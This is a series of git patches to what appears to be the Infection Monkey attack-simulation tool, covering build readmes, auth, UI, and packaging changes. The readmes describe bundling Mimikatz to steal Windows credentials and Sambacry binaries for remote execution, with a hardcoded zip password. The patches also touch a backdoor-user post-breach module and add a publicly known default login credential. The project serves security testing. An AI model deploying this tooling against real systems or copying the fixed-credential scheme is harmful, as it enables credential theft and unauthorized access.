delete files from the installation. 1. Create folder "bin" under monkey_island -2. Place portable version of Python 2.7 - 2.1. Download and install from: https://www.python.org/download/releases/2.7/ - 2.2. Install the required python libraries using "python -m pip install -r monkey_island\requirements.txt" - 2.3. Copy contents from installation path (Usually C:\Python27) to monkey_island\bin\Python27 - 2.4. Copy Python27.dll from System32 folder (Usually C:\Windows\System32 or C:\Python27) to monkey_island\bin\Python27 - 2.5. (Optional) You may uninstall Python27 if you like. +2. Place portable version of Python 2.7.15 + 2.1. Download and install from: https://www.python.org/downloads/release/python-2715/ + 2.2. Install virtualenv using "python -m pip install virtualenv" + 2.3. Create a virtualenv using "python -m virtualenv --always-copy \Python27" Where is the path to the bin folder created on step 1. + 2.4. Run "python -m virtualenv --relocatable \Python27" + 2.5. Install the required python libraries using "\Python27\Scripts\python -m pip install -r monkey_island\requirements.txt" + 2.6. Copy DLLs from installation path (Usually C:\Python27\DLLs) to \Python27\DLLs + 2.7. (Optional) You may uninstall Python27 if you like. 3. Setup mongodb (Use one of the following two options): - 3.1 Place portable version of mongodb - 3.1.1 Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip - 3.2.1 Extract contents from bin folder to monkey_island\bin\mongodb. - 3.3.1 Create monkey_island\db folder. - + 3.a Place portable version of mongodb + 3.a.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip + 3.a.2. Extract contents from bin folder to monkey_island\bin\mongodb. + 3.a.3. Create monkey_island\db folder. OR - - 3.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable: - - example for mongodb running on host with IP address 192.168.10.10: - - set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland" - + 3.b. Use already running instance of mongodb + 3.b.1. Run 'set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"'. Replace '' with address of mongo server + 4. Place portable version of OpenSSL 4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip 4.2. Extract content from bin folder to monkey_island\bin\openssl @@ -67,23 +64,16 @@ How to run: monkey-windows-64.exe - monkey binary for windows 64bi 4. Setup MongoDB (Use one of the two following options): - - 4.1 Download MongoDB and extract it to /var/monkey_island/bin/mongodb + 4.a. Download MongoDB and extract it to /var/monkey_island/bin/mongodb for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz find more at - https://www.mongodb.org/downloads#production untar.gz with: tar -zxvf filename.tar.gz -C /var/monkey_island/bin/mongodb (make sure the content of the mongo folder is in this directory, meaning this path exists: - /var/monkey_island/bin/mongodb/bin) - + /var/monkey_island/bin/mongodb/bin) OR - - 4.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable: - - example for mongodb running on host with IP address 192.168.10.10: - - set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland" - + 4.b. Use already running instance of mongodb + 4.b.1. Run 'set MONKEY_MONGO_URL="mongodb://:27017/monkeyisland"'. Replace '' with address of mongo server 5. install OpenSSL sudo apt-get install openssl From d7b228897fbb2c857b7c3602a577468d8b6dcc1e Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 11 Feb 2019 11:10:00 +0200 Subject: [PATCH 137/201] Require traceroute for build only on linux --- monkey/infection_monkey/monkey.spec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index ac6e9f03e..a7f0f0396 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -69,7 +69,6 @@ def process_datas(orig_datas): def get_binaries(): binaries = get_windows_only_binaries() if is_windows() else get_linux_only_binaries() binaries += get_sc_binaries() - binaries += get_traceroute_binaries() return binaries @@ -81,6 +80,7 @@ def get_windows_only_binaries(): def get_linux_only_binaries(): binaries = [] + binaries += get_traceroute_binaries() return binaries From 8c76e244ad0be637c142096202e2c684c79c79a9 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 11 Feb 2019 14:00:23 +0200 Subject: [PATCH 138/201] Update readme for relevant instruction to build/download required binaries --- monkey/infection_monkey/readme.txt | 58 ++++++++++++++++++++++-------- 1 file changed, 44 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index eb757d144..970b17d01 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -5,6 +5,7 @@ The monkey is composed of three separate parts. * The Infection Monkey itself - PyInstaller compressed python archives * Sambacry binaries - Two linux binaries, 32/64 bit. * Mimikatz binaries - Two windows binaries, 32/64 bit. +* Traceroute binaries - Two linux binaries, 32/64bit. --- Windows --- @@ -51,8 +52,11 @@ Tested on Ubuntu 16.04 and 17.04. pip install -r requirements.txt 2. Build Sambacry binaries a. Build/Download according to sections at the end of this readme. - b. Place the binaries under [code location]\infection_monkey\bin -3. To build, run in terminal: + b. Place the binaries under [code location]\infection_monkey\bin, under the names 'sc_monkey_runner32.so', 'sc_monkey_runner64.so' +3. Build Traceroute binaries + a. Build/Download according to sections at the end of this readme. + b. Place the binaries under [code location]\infection_monkey\bin, under the names 'traceroute32', 'traceroute64' +4. To build, run in terminal: cd [code location]/infection_monkey chmod +x build_linux.sh ./build_linux.sh @@ -61,19 +65,45 @@ Tested on Ubuntu 16.04 and 17.04. -- Sambacry -- Sambacry requires two standalone binaries to execute remotely. -1. Install gcc-multilib if it's not installed - sudo apt-get install gcc-multilib -2. Build the binaries - cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner - ./build.sh +a. Build sambacry binaries yourself + a.1. Install gcc-multilib if it's not installed + sudo apt-get install gcc-multilib + a.2. Build the binaries + cd [code location]/infection_monkey/monkey_utils/sambacry_monkey_runner + ./build.sh + +b. Download our pre-built sambacry binaries + b.1. Available here: + 32bit: https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner32.so + 64bit: https://github.com/guardicore/monkey/releases/download/1.6/sc_monkey_runner64.so -- Mimikatz -- Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from -https://github.com/guardicore/mimikatz/releases/tag/1.0.0 -Download both 32 and 64 bit zipped DLLs and place them under [code location]\infection_monkey\bin -Alternatively, if you build Mimikatz, put each version in a zip file. -1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll -2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. -3. The zip file should be named mk32.zip/mk64.zip accordingly. -4. Zipping with 7zip has been tested. Other zipping software may not work. +You can either build them yourself or download pre-built binaries. +a. Build Mimikatz yourself + a.0. Building mimikatz requires Visual Studio 2013 and up + a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0 + a.2. Build using Visual Studio. + a.3. Put each version in a zip file + a.3.1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll + a.3.2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. + a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly. + a.3.4. Zipping with 7zip has been tested. Other zipping software may not work. + +b. Download our pre-built traceroute binaries + b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0 + b.2. Place them under [code location]\infection_monkey\bin + +-- Traceroute -- + +Traceroute requires two standalone binaries to execute remotely. +The monkey carries it since traceroute isn't built in all linux distributions. +You can either build them yourself or download pre-built binaries. + +a. Build traceroute yourself + a.1. The sources of traceroute are available here with building instructions: http://traceroute.sourceforge.net +b. Download our pre-built traceroute binaries + b.1. Available here: + 32bit: https://github.com/guardicore/monkey/releases/download/1.6/traceroute32 + 64bit: https://github.com/guardicore/monkey/releases/download/1.6/traceroute64 From 99043fb8cfd635b863ed4263b3351ae5f82c68f2 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 11 Feb 2019 14:07:49 +0200 Subject: [PATCH 139/201] Hotfix from crypto --- monkey/monkey_island/cc/encryptor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py index 3a3d052f6..84e6fba9d 100644 --- a/monkey/monkey_island/cc/encryptor.py +++ b/monkey/monkey_island/cc/encryptor.py @@ -39,7 +39,7 @@ class Encryptor: def enc(self, message): cipher_iv = Random.new().read(AES.block_size) cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv) - return base64.b64encode(cipher_iv + cipher.encrypt(self._pad(message))) + return base64.b64encode(cipher_iv + cipher.encrypt(str(self._pad(message)))) # ciper.encrypt expects str def dec(self, enc_message): enc_message = base64.b64decode(enc_message) From 8fed52a5d9e04af27e97b939307145975758cd0c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 11 Feb 2019 14:33:03 +0200 Subject: [PATCH 140/201] Hotfix re add user post breach --- .../infection_monkey/post_breach/add_user.py | 19 +++++++++++-------- 1 file changed, 11 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py index b8cb9a027..94aa210e4 100644 --- a/monkey/infection_monkey/post_breach/add_user.py +++ b/monkey/infection_monkey/post_breach/add_user.py @@ -23,14 +23,17 @@ class BackdoorUser(object): def act(self): LOG.info("Adding a user") - if sys.platform.startswith("win"): - retval = self.add_user_windows() - else: - retval = self.add_user_linux() - if retval != 0: - LOG.warn("Failed to add a user") - else: - LOG.info("Done adding user") + try: + if sys.platform.startswith("win"): + retval = self.add_user_windows() + else: + retval = self.add_user_linux() + if retval != 0: + LOG.warn("Failed to add a user") + else: + LOG.info("Done adding user") + except OSError: + LOG.exception("Exception while adding a user") @staticmethod def add_user_linux(): From 712e680ff19006e0f7b87365eaab257d5f019962 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 11 Feb 2019 19:15:30 +0200 Subject: [PATCH 141/201] Fix phrasing by suggestion from a user. --- monkey/monkey_island/cc/resources/telemetry_feed.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 672a593fa..ee9fe7e8f 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -52,7 +52,7 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_state_telem_brief(telem): if telem['data']['done']: - return 'Monkey died.' + return '''Monkey finishing it's execution.''' else: return 'Monkey started.' From 1528966f6b8f6b02557fa8f9cd86b4a140d95616 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 11 Feb 2019 19:17:25 +0200 Subject: [PATCH 142/201] Fix traceroute phrasing --- monkey/infection_monkey/readme.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index 970b17d01..27318e386 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -98,7 +98,7 @@ b. Download our pre-built traceroute binaries -- Traceroute -- Traceroute requires two standalone binaries to execute remotely. -The monkey carries it since traceroute isn't built in all linux distributions. +The monkey carries the standalone binaries since traceroute isn't built in all Linux distributions. You can either build them yourself or download pre-built binaries. a. Build traceroute yourself From 30e96dc7d360beec93dc12b8fcbf4096b4eabb09 Mon Sep 17 00:00:00 2001 From: itay Date: Tue, 12 Feb 2019 15:39:29 +0200 Subject: [PATCH 143/201] Checking with server if auth enabled --- monkey/monkey_island/cc/auth.py | 14 +++-- .../monkey_island/cc/environment/__init__.py | 4 -- monkey/monkey_island/cc/environment/aws.py | 3 -- .../monkey_island/cc/environment/password.py | 3 -- .../monkey_island/cc/environment/standard.py | 11 ++-- .../cc/ui/src/components/Main.js | 54 +++++++++++-------- .../cc/ui/src/components/pages/LoginPage.js | 9 ++-- monkey/monkey_island/cc/ui/src/index.js | 1 + .../cc/ui/src/services/AuthService.js | 43 ++++++++------- 9 files changed, 74 insertions(+), 68 deletions(-) diff --git a/monkey/monkey_island/cc/auth.py b/monkey/monkey_island/cc/auth.py index a32d6ec9d..f12a7f8cd 100644 --- a/monkey/monkey_island/cc/auth.py +++ b/monkey/monkey_island/cc/auth.py @@ -33,20 +33,18 @@ def init_jwt(app): user_id = payload['identity'] return userid_table.get(user_id, None) - if env.is_auth_enabled(): - JWT(app, authenticate, identity) + JWT(app, authenticate, identity) def jwt_required(realm=None): def wrapper(fn): @wraps(fn) def decorator(*args, **kwargs): - if env.is_auth_enabled(): - try: - _jwt_required(realm or current_app.config['JWT_DEFAULT_REALM']) - except JWTError: - abort(401) - return fn(*args, **kwargs) + try: + _jwt_required(realm or current_app.config['JWT_DEFAULT_REALM']) + return fn(*args, **kwargs) + except JWTError: + abort(401) return decorator diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index d29d558a6..62b0e9eed 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -37,10 +37,6 @@ class Environment(object): h.update(secret) return h.hexdigest() - @abc.abstractmethod - def is_auth_enabled(self): - return - @abc.abstractmethod def get_auth_users(self): return diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index fc048443f..171eeb5c0 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -18,9 +18,6 @@ class AwsEnvironment(Environment): def _get_region(self): return self.aws_info.get_region() - def is_auth_enabled(self): - return True - def get_auth_users(self): return [ cc.auth.User(1, 'monkey', self.hash_secret(self._instance_id)) diff --git a/monkey/monkey_island/cc/environment/password.py b/monkey/monkey_island/cc/environment/password.py index 96ca043b8..30ddd8267 100644 --- a/monkey/monkey_island/cc/environment/password.py +++ b/monkey/monkey_island/cc/environment/password.py @@ -6,9 +6,6 @@ __author__ = 'itay.mizeretz' class PasswordEnvironment(Environment): - def is_auth_enabled(self): - return True - def get_auth_users(self): return [ cc.auth.User(1, self.config['user'], self.config['hash']) diff --git a/monkey/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py index 8df00a2c3..532ced959 100644 --- a/monkey/monkey_island/cc/environment/standard.py +++ b/monkey/monkey_island/cc/environment/standard.py @@ -1,12 +1,15 @@ +import cc.auth from cc.environment import Environment __author__ = 'itay.mizeretz' class StandardEnvironment(Environment): - - def is_auth_enabled(self): - return False + # SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' + NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \ + '8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557' def get_auth_users(self): - return [] + return [ + cc.auth.User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS) + ] diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 114775756..69eeb8500 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -27,31 +27,42 @@ let guardicoreLogoImage = require('../images/guardicore-logo.png'); class AppComponent extends AuthComponent { updateStatus = () => { - if (this.auth.loggedIn()){ - this.authFetch('/api') - .then(res => res.json()) - .then(res => { - // This check is used to prevent unnecessary re-rendering - let isChanged = false; - for (let step in this.state.completedSteps) { - if (this.state.completedSteps[step] !== res['completed_steps'][step]) { - isChanged = true; - break; - } - } - if (isChanged) { - this.setState({completedSteps: res['completed_steps']}); - } + this.auth.loggedIn() + .then(res => { + this.setState({ + isLoggedIn: res }); - } + + if (res) { + this.authFetch('/api') + .then(res => res.json()) + .then(res => { + // This check is used to prevent unnecessary re-rendering + let isChanged = false; + for (let step in this.state.completedSteps) { + if (this.state.completedSteps[step] !== res['completed_steps'][step]) { + isChanged = true; + break; + } + } + if (isChanged) { + this.setState({completedSteps: res['completed_steps']}); + } + }); + } + }); }; renderRoute = (route_path, page_component, is_exact_path = false) => { let render_func = (props) => { - if (this.auth.loggedIn()) { - return page_component; - } else { - return ; + switch (this.state.isLoggedIn) { + case true: + return page_component; + case false: + return ; + default: + return page_component; + } }; @@ -69,7 +80,8 @@ class AppComponent extends AuthComponent { run_server: true, run_monkey: false, infection_done: false, - report_done: false + report_done: false, + isLoggedIn: undefined } }; } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js index cc1eefecd..2fdba21aa 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js @@ -34,9 +34,12 @@ class LoginPageComponent extends React.Component { this.state = { failed: false }; - if (this.auth.loggedIn()) { - this.redirectToHome(); - } + this.auth.loggedIn() + .then(res => { + if (res) { + this.redirectToHome(); + } + }); } render() { diff --git a/monkey/monkey_island/cc/ui/src/index.js b/monkey/monkey_island/cc/ui/src/index.js index 3b4138107..329e94dfe 100644 --- a/monkey/monkey_island/cc/ui/src/index.js +++ b/monkey/monkey_island/cc/ui/src/index.js @@ -1,6 +1,7 @@ import 'core-js/fn/object/assign'; import React from 'react'; import ReactDOM from 'react-dom'; +import 'babel-polyfill'; import App from './components/Main'; import Bootstrap from 'bootstrap/dist/css/bootstrap.css'; // eslint-disable-line no-unused-vars diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js index 703a96559..547b14272 100644 --- a/monkey/monkey_island/cc/ui/src/services/AuthService.js +++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js @@ -1,24 +1,18 @@ import { SHA3 } from 'sha3'; import decode from 'jwt-decode'; -import {SERVER_CONFIG} from '../server_config/ServerConfig'; export default class AuthService { - AUTH_ENABLED = SERVER_CONFIG.isAuthEnabled(); + // SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()' + NO_AUTH_CREDS = + "55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" + + "8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557"; login = (username, password) => { - if (this.AUTH_ENABLED) { - return this._login(username, this.hashSha3(password)); - } else { - return {result: true}; - } + return this._login(username, this.hashSha3(password)); }; authFetch = (url, options) => { - if (this.AUTH_ENABLED) { - return this._authFetch(url, options); - } else { - return fetch(url, options); - } + return this._authFetch(url, options); }; hashSha3(text) { @@ -43,7 +37,6 @@ export default class AuthService { this._removeToken(); return {result: false}; } - }) }; @@ -53,7 +46,7 @@ export default class AuthService { 'Content-Type': 'application/json' }; - if (this.loggedIn()) { + if (this._loggedIn()) { headers['Authorization'] = 'JWT ' + this._getToken(); } @@ -74,20 +67,26 @@ export default class AuthService { }); }; - loggedIn() { - if (!this.AUTH_ENABLED) { - return true; + async loggedIn() { + let token = this._getToken(); + if ((token === null) || (this._isTokenExpired(token))) { + await this.attemptNoAuthLogin(); } + return this._loggedIn(); + } + attemptNoAuthLogin() { + return this._login(this.NO_AUTH_CREDS, this.NO_AUTH_CREDS); + } + + _loggedIn() { const token = this._getToken(); return ((token !== null) && !this._isTokenExpired(token)); } - logout() { - if (this.AUTH_ENABLED) { - this._removeToken(); - } - } + logout = () => { + this._removeToken(); + }; _isTokenExpired(token) { try { From dfb51cc96261d0c818153a59d0dd20f93db5327a Mon Sep 17 00:00:00 2001 From: itay Date: Tue, 12 Feb 2019 16:26:29 +0200 Subject: [PATCH 144/201] Add AWS troubleshooting message --- .../ui/src/components/pages/RunMonkeyPage.js | 21 +++++++++++++------ 1 file changed, 15 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index aefa19921..8ddb860d2 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -326,16 +326,25 @@ class RunMonkeyPageComponent extends AuthComponent { Update AWS details { this.state.awsUpdateClicked ? : null } - { - this.state.awsUpdateFailed ? -

    Authentication failed. Bad credentials.
    - : - null - }
    + { + this.state.awsUpdateFailed ? +
    +

    Authentication failed.

    +

    + + In order to remotely run commands on AWS EC2 instances, please make sure you have + the prerequisites and if the + instances don't show up, check the + AWS troubleshooting guide. +

    +
    + : + null + } From 1189d42bbb1ac287619122b39a7a5532d4c203ac Mon Sep 17 00:00:00 2001 From: itay Date: Thu, 14 Feb 2019 13:57:56 +0200 Subject: [PATCH 145/201] Debian package now requires mongo as dependency instead of having a monkey-mongo service --- .../monkey_island/deb-package/DEBIAN/control | 2 +- .../monkey_island/deb-package/DEBIAN/postinst | 2 -- monkey/monkey_island/deb-package/DEBIAN/prerm | 3 --- monkey/monkey_island/linux/clear_db.sh | 6 ------ monkey/monkey_island/linux/run.sh | 1 - .../linux/ubuntu/monkey-mongo.conf | 18 ------------------ .../linux/ubuntu/systemd/monkey-island.service | 1 - .../linux/ubuntu/systemd/monkey-mongo.service | 12 ------------ 8 files changed, 1 insertion(+), 44 deletions(-) delete mode 100644 monkey/monkey_island/linux/clear_db.sh delete mode 100644 monkey/monkey_island/linux/ubuntu/monkey-mongo.conf delete mode 100644 monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service diff --git a/monkey/monkey_island/deb-package/DEBIAN/control b/monkey/monkey_island/deb-package/DEBIAN/control index 2693afbd9..b31daa194 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/control +++ b/monkey/monkey_island/deb-package/DEBIAN/control @@ -5,4 +5,4 @@ Homepage: http://www.guardicore.com Priority: optional Version: 1.0 Description: Guardicore Infection Monkey Island installation package -Depends: openssl, python-pip, python-dev +Depends: openssl, python-pip, python-dev, mongodb diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst index b55f791b8..c113b34d5 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/postinst +++ b/monkey/monkey_island/deb-package/DEBIAN/postinst @@ -20,14 +20,12 @@ if [ -d "/etc/systemd/network" ]; then cp ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/*.service /lib/systemd/system/ chmod +x ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/start_server.sh systemctl daemon-reload - systemctl enable monkey-mongo systemctl enable monkey-island fi ${MONKEY_FOLDER}/monkey_island/create_certificate.sh service monkey-island start -service monkey-mongo start echo Monkey Island installation ended diff --git a/monkey/monkey_island/deb-package/DEBIAN/prerm b/monkey/monkey_island/deb-package/DEBIAN/prerm index 69070adaf..0449e0b3f 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/prerm +++ b/monkey/monkey_island/deb-package/DEBIAN/prerm @@ -1,12 +1,9 @@ #!/bin/sh service monkey-island stop || true -service monkey-mongo stop || true rm -f /etc/init/monkey-island.conf -rm -f /etc/init/monkey-mongo.conf [ -f "/lib/systemd/system/monkey-island.service" ] && rm -f /lib/systemd/system/monkey-island.service -[ -f "/lib/systemd/system/monkey-mongo.service" ] && rm -f /lib/systemd/system/monkey-mongo.service rm -r -f /var/monkey diff --git a/monkey/monkey_island/linux/clear_db.sh b/monkey/monkey_island/linux/clear_db.sh deleted file mode 100644 index 7ec819cd5..000000000 --- a/monkey/monkey_island/linux/clear_db.sh +++ /dev/null @@ -1,6 +0,0 @@ -#!/bin/bash - -service monkey-mongo stop -cd /var/monkey/monkey_island -rm -rf ./db/* -service monkey-mongo start diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh index c72b5f3b9..978e02fe5 100644 --- a/monkey/monkey_island/linux/run.sh +++ b/monkey/monkey_island/linux/run.sh @@ -1,5 +1,4 @@ #!/bin/bash cd /var/monkey -/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db & /var/monkey/monkey_island/bin/python/bin/python monkey_island.py \ No newline at end of file diff --git a/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf b/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf deleted file mode 100644 index cd148d877..000000000 --- a/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf +++ /dev/null @@ -1,18 +0,0 @@ -description "Monkey Island Mongo Service" - -start on runlevel [2345] -stop on runlevel [!2345] - -respawn -respawn limit unlimited - -script - chdir /var/monkey/monkey_island/ - exec /var/monkey/monkey_island/bin/mongodb/bin/mongod --dbpath db -end script - -post-stop script - if [ -n $UPSTART_EVENTS ]; then - exec sleep 3 - fi -end script \ No newline at end of file diff --git a/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service index d66de2377..b6a536574 100644 --- a/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service +++ b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service @@ -1,6 +1,5 @@ [Unit] Description=Monkey Island Service -Wants=monkey-mongo.service After=network.target [Service] diff --git a/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service deleted file mode 100644 index b786e0abb..000000000 --- a/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service +++ /dev/null @@ -1,12 +0,0 @@ -[Unit] -Description=Monkey Island Mongo Service -After=network.target - -[Service] -ExecStart=/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db -KillMode=process -Restart=always -ExecStop=/var/monkey/monkey_island/bin/mongodb/bin/mongod --shutdown - -[Install] -WantedBy=multi-user.target \ No newline at end of file From 03a0c45b5cc4d12427237022f10d46dc617d8e79 Mon Sep 17 00:00:00 2001 From: itay Date: Thu, 14 Feb 2019 16:50:00 +0200 Subject: [PATCH 146/201] Use monkey's python --- monkey/monkey_island/linux/ubuntu/monkey-island.conf | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/linux/ubuntu/monkey-island.conf b/monkey/monkey_island/linux/ubuntu/monkey-island.conf index 1ded4d94a..e7dfc4d21 100644 --- a/monkey/monkey_island/linux/ubuntu/monkey-island.conf +++ b/monkey/monkey_island/linux/ubuntu/monkey-island.conf @@ -8,7 +8,7 @@ respawn limit unlimited script chdir /var/monkey - exec python monkey_island/cc/main.py + exec monkey_island/bin/python/bin/python monkey_island.py end script post-stop script From d67cb18cae292a070e2d34b80a9ee7429f8b0be4 Mon Sep 17 00:00:00 2001 From: itay Date: Thu, 14 Feb 2019 19:07:12 +0200 Subject: [PATCH 147/201] Some unecessary set states removed to prevent refreshing of config page --- monkey/monkey_island/cc/ui/src/components/Main.js | 8 +++++--- .../cc/ui/src/components/pages/ConfigurePage.js | 9 ++++++--- 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 69eeb8500..02cf9fdee 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -29,9 +29,11 @@ class AppComponent extends AuthComponent { updateStatus = () => { this.auth.loggedIn() .then(res => { - this.setState({ - isLoggedIn: res - }); + if (this.state.isLoggedIn !== res) { + this.setState({ + isLoggedIn: res + }); + } if (res) { this.authFetch('/api') diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index ed8258197..a4d143c5e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -141,9 +141,12 @@ class ConfigurePageComponent extends AuthComponent { .then(res => res.json()) .then(res => { // This check is used to prevent unnecessary re-rendering - this.setState({ - allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']) - }); + let allMonkeysAreDead = (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']); + if (allMonkeysAreDead !== this.state.allMonkeysAreDead) { + this.setState({ + allMonkeysAreDead: allMonkeysAreDead + }); + } }); }; From 47401957a5365834529def79615d36ef02b01347 Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 17 Feb 2019 13:22:14 +0200 Subject: [PATCH 148/201] update logo --- .../cc/ui/src/images/guardicore-logo.png | Bin 9855 -> 35264 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/images/guardicore-logo.png b/monkey/monkey_island/cc/ui/src/images/guardicore-logo.png index d5f02d006c5a152367c9abf6cbedec6603cbb99f..31075a586ff8729a6bf3e3e6855893686856e760 100644 GIT binary patch literal 35264 zcmb@tWn7fe^EM75%@WcejerXRA}dI@fOL0ANQVkYODx?8$by38(kb1bfHW-KA>G~k z-0S!EeSZH}&#V6n_OpA(oH=vm%$d2aAzV%6H3*Le4-E|sq#!S&frj>w6AcYr5eEzS zls5XC0o*|Upz&G?t#t757VzWYJ4t0pG_;CX{9AKO;5V*|y#5C?G|ES)KlFDQqkxET zZ3P)gtxqO<->|>3YS-Tn!JcoV^O~}(7k{nF`b~WXhpmK)kc^0 